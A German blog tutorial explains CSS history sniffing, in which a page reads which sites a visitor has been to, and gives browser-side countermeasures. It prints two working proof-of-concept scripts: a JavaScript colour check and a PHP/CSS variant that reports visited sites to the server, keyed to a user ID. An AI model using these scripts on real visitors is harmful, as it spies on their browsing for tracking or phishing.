CSS History Hacks: Auslesen von besuchten Webseiten


Viele Webbrowser enthalten seit Jahren eine Sicherheitslücke, die bis heute noch nicht geschlossen wurde. Mit einem sog. CSS History Hack ist es möglich, die Browser History (auch Verlauf oder Chronik genannt) auszulesen.

In der Browser History werden die zuletzt besuchten Webseiten gespeichert. Somit ist es möglich herauszufinden, welche Webseiten ein Besucher bereits besucht hat. Internetnutzer könnten anhand der Daten identifiziert werden und Angreifer könnten diese nutzen, um gezielte Phishing-Angriffe durchzuführen.

Häufig wird die Browser History mit Javascript ausgelesen. JavaScript zu deaktivieren oder Addons wie NoScript zu verwenden reicht aber nicht aus. Was die meisten nicht wissen ist, dass CSS History Hacks in vielen Browsern auch mit CSS möglich sind.

Ursache der Sicherheitslücke

Die Ursache der Sicherheitslücke ist die Art, wie ein Browser speichert, ob ein Link bereits gefolgt wurde. Ist man einem Link bereits gefolgt, wird er per Stylesheet farblich anders dargestellt, als Links, denen man noch nicht gefolgt ist.

Wurde ein Link also bereits gefolgt, gibt es Änderungen im Stylesheet, die der Browser als Attribute in der History speichert.

Funktionsweise eines Angriffs

Ein Angreifer kann nicht einfach direkt abfragen, welche Webseiten in der Browser History gespeichert sind. Er muss eine Liste mit vordefinierten URLs erstellen. Jede URL in dieser Liste wird dann anhand der Attribute im Stylesheet überprüft.

Da die Überprüfung normalerweise ziemlich schnell ist, können problemlos tausende URLs innerhalb kürzester Zeit überprüft werden.

Was Angreifer mit den Daten machen könnten

Das Protential von solchen Angriffen sollte man nicht unterschätzen. Neben gezielten Phishing-Angriffen ist noch einiges mehr möglich.

Sämtliche Daten könnten ausspioniert werden – besonders in Kombination mit Social Engineering. Vor allem soziale Netzwerke sind von davon betroffen.

Proof-of-Concept

Hinweis: Die Live-Demos / Scripte könnt ihr unbedenklich testen. Es werden keine Daten über besuchte Webseiten protokolliert, sondern nur dargestellt.

Beide Live Demos wurden mit Firefox und Chrome getestet.

Ausnutzung per JavaScript

Live Demo: CSS History Hack Beispiel per JavaScript

Die Demo basiert auf ein Script von Jeremiah Grossman, WhiteHat Security, Inc.

/*
NAME: JavaScript History Thief
AUTHOR: Jeremiah Grossman
 
BSD LICENSE:
Copyright (c) 2006, WhiteHat Security, Inc.
All rights reserved.
 
Redistribution and use in source and binary forms, with or without 
modification, are permitted provided that the following conditions are met:
 
* Redistributions of source code must retain the above copyright notice, 
this list of conditions and the following disclaimer.
* Redistributions in binary form must reproduce the above copyright notice, 
this list of conditions and the following disclaimer in the documentation 
and/or other materials provided with the distribution.
* Neither the name of the WhiteHat Security nor the names of its contributors 
may be used to endorse or promote products derived from this software 
without specific prior written permission.
 
THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" 
AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE 
IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE 
ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR CONTRIBUTORS BE 
LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR 
CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF 
SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS 
INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN 
CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) 
ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF 
THE POSSIBILITY OF SUCH DAMAGE.
*/
 
 
/* A short list of websites to loop through checking to see if the victim has been there. Without noticable performance overhead, testing couple of a couple thousand URL's is possible within a few seconds. */
var websites = [
  'http://www.google.de',
  'http://www.ebay.de',
  'http://www.web-tuts.de',
  'http://www.youtube.com',
  'http://www.myhammer.de',
  'http://www.heise.de',
  'http://www.t3n.de/news/',
  'http://www.myspace.com',
  'http://de.wikipedia.org',
  'http://de.wikipedia.org/wiki/Buffer_Overflow',
  'http://de.wikipedia.org/wiki/Javascript',
  'http://www.spiegel.de',
  'http://www.golem.de'
];
 
/* Loop through each URL */
for (var i = 0; i < websites.length; i++) {
 
  /* create the new anchor tag with the appropriate URL information */
  var link = document.createElement("a");
  link.id = "id" + i;
  link.href = websites[i];
  link.innerHTML = websites[i];
 
  /* create a custom style tag for the specific link. Set the CSS visited selector to a known value, in this case red */
  document.write('<style>');
  document.write('#id' + i + ":visited {color: #FF0000;}");
  document.write('</style>');
 
  /* quickly add and remove the link from the DOM with enough time to save the visible computed color. */
  document.body.appendChild(link);
  var color = document.defaultView.getComputedStyle(link,null).getPropertyValue("color");
  document.body.removeChild(link);
 
  /* check to see if the link has been visited if the computed color is red */
  if (color == "rgb(255, 0, 0)") { // visited
 
    /* add the link to the visited list */
    var item = document.createElement('li');
    item.appendChild(link);
    document.getElementById('visited').appendChild(item);
 
  } else { // not visited
 
    /* add the link to the not visited list */
    var item = document.createElement('li');
    item.appendChild(link);
    document.getElementById('notvisited').appendChild(item);
 
  } // end visited color check if
 
} // end URL loop

Dieses Beispiel zeigt die klassische Ausnutzung per JavaScript. Bereits gefolgten Links (im Stylesheet a:visited) wird eine rote Farbe zugewiesen. Anschließend wird überprüft, für welche Links diese Farbe definiert wurde.

Ausnutzung per CSS und PHP

Live Demo: CSS History Hack ohne JavaScript

<?php
  session_start();
 
  header('Cache-Control: no-store, no-cache, must-revalidate'); // HTTP 1.1
  header('Cache-Control: post-check=0, pre-check=0, false'); // HTTP 1.0
  header('Expires: Sat, 26 Jul 1997 05:00:00 GMT');
  header('Pragma: no-cache');
 
  $websites = array(
  'http://www.google.de',
  'http://www.ebay.de',
  'http://www.web-tuts.de',
  'http://www.youtube.com',
  'http://www.myhammer.de',
  'http://www.heise.de',
  'http://www.t3n.de/news/',
  'http://www.myspace.com',
  'http://de.wikipedia.org',
  'http://de.wikipedia.org/wiki/Buffer_Overflow',
  'http://de.wikipedia.org/wiki/Javascript',
  'http://www.spiegel.de',
  'http://www.golem.de'
  );
 
  $c = count($websites);
 
  if(empty($_SESSION['visited']))
  	$_SESSION['visited'] = array();
 
  if(empty($_SESSION['id']))
  	$_SESSION['id'] = md5(uniqid(mt_rand(), true));
 
  if(!empty($_SERVER['QUERY_STRING']))
  {
    // script wurde via css background image aufgerufen
    if(preg_match('/([a-f0-9]{32})-(\d*)/i', $_SERVER['QUERY_STRING'], $matches))
    {
    	$num = $matches[2];
 
    	// wenn eintrag noch nicht vorhanden, hinzufuegen
    	if(!in_array($websites[$num], $_SESSION['visited']))
        $_SESSION['visited'][] = $websites[$num];
    }
  }
 
  $not_visited = array_diff($websites, $_SESSION['visited']);
?>
<html>
<head>
<style type="text/css">
#list { position: absolute; visibility: hidden; }
<?php
  for($i = 0; $i < $c; $i++)
    echo 'a:visited span.span' . $i . '{background:url('.basename(__FILE__).'?'.$_SESSION['id'].'-'.$i.');color:#c00;}';
?>
</style>
</head>
<body>
<div id="list">
<?php
  for($i = 0; $i < $c; $i++)
    echo '<a href="'.$websites[$i].'">'.$websites[$i].'<span class="span'.$i.'"></span></a>';
?>
</div>
<ul id="visited">
<?php
  foreach($_SESSION['visited'] as $visited)
    echo '<li><a href="'.$visited.'">'.$visited.'</a></li>';
?>
</ul>
<ul id="notvisited">
<?php
  foreach($not_visited as $notvisited)
    echo '<li><a href="'.$notvisited.'">'.$notvisited.'</a></li>';
?>
</ul>
</body>
</html>

Diese Methode wurde von IT-Wissenschaftlern einer Universität vorgestellt und funktioniert auch ohne JavaScript.

Der Trick bei dieser Methode ist, dass im Stylesheet bei a:visited mit background:url() das PHP Script mit eindeutigen IDs geladen/nachgeladen wird. Die übergebene ID in der URL entspricht einer vom Angreifer festgelegten ID einer vordefinierten Webseite. Somit kann der Angreifer anhand der ID feststellen, welche Webseite bereits besucht wurde.

Wurde eine Webseite also bereits besucht, wird mit background:url() das Script mit der entsprechenden ID im Hintergrund geladen und die Webseite protokolliert (in diesem Beispiel zur Demonstration in einer Session gespeichert).

Zusätzlich wird dem Script ein eindeutiger String zur Identifikation eines Internetnutzers übergeben – normalerweise die IP Adresse. Somit können besuchte Webseiten einer IP zugeordnet werden. In diesem Beispiel ist das nur ein zufällig generierter MD5 Hash.

Gegenmaßnahmen

Nun zum wichtigen Teil – wie schützt man sich vor CSS History Hacks?

Es gibt zwei Möglichkeiten, um sich effektiv gegen solche Angriffe zu schützen.

1. Festlegen, dass der verwendete Browser keine History anlegt.

Die beste und sicherste Möglichkeit ist im Browser einzustellen, dass gar keine History angelegt wird. Wer also darauf verzichten kann, sollte diese Möglichkeit nutzen.

In Firefox geht das unter Bearbeiten > Einstellungen > Datenschutz

Firefox Chronik deaktivieren

Alternativ kann man dort auch benutzerdefinierte Einstellungen vornehmen und z.B. einstellen, dass die Chronik nach 2 Tagen gelöscht werden soll.

2. Browser-Addon nutzen

Eine weitere Möglichkeit ist das Nutzen eines speziellen Browser-Addons. Für Firefox eignet sich das SafeHistory Addon von der Stanford Universität. Allerdings scheint es mit neueren FF Versionen nicht kompatibel zu sein.

Update: In einigen Browsern wurde diese Sicherheitslücke nun behoben.